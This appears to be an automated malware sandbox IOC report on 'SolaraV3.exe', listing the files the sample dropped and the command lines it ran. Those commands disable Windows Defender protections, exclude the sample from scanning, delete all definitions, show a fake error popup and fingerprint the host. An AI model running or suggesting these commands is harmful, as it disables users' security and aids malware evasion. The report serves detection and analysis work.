IOC Report
SolaraV3.exe

SolaraV3.exe

PE32+ executable (GUI) x86-64, for MS Windows

initial sample

C:\Users\user\AppData\Local\Temp\_MEI28842\rarreg.key

ASCII text

modified

C:\Users\user\AppData\Local\Temp\se3yji4z\se3yji4z.cmdline

Unicode text, UTF-8 (with BOM) text, with very long lines (612), with no line terminators

dropped

C:\Users\user\Desktop\SolaraV3.exe

"C:\Users\user\Desktop\SolaraV3.exe"

C:\Users\user\Desktop\SolaraV3.exe

"C:\Users\user\Desktop\SolaraV3.exe"

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SolaraV3.exe'"

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('?????? ?????? ???? ????????. ?????? ??? ?????????? ????? ?????? ? ?????? ?????!', 0, 'Error!', 32+16);close()""

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SolaraV3.exe'

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"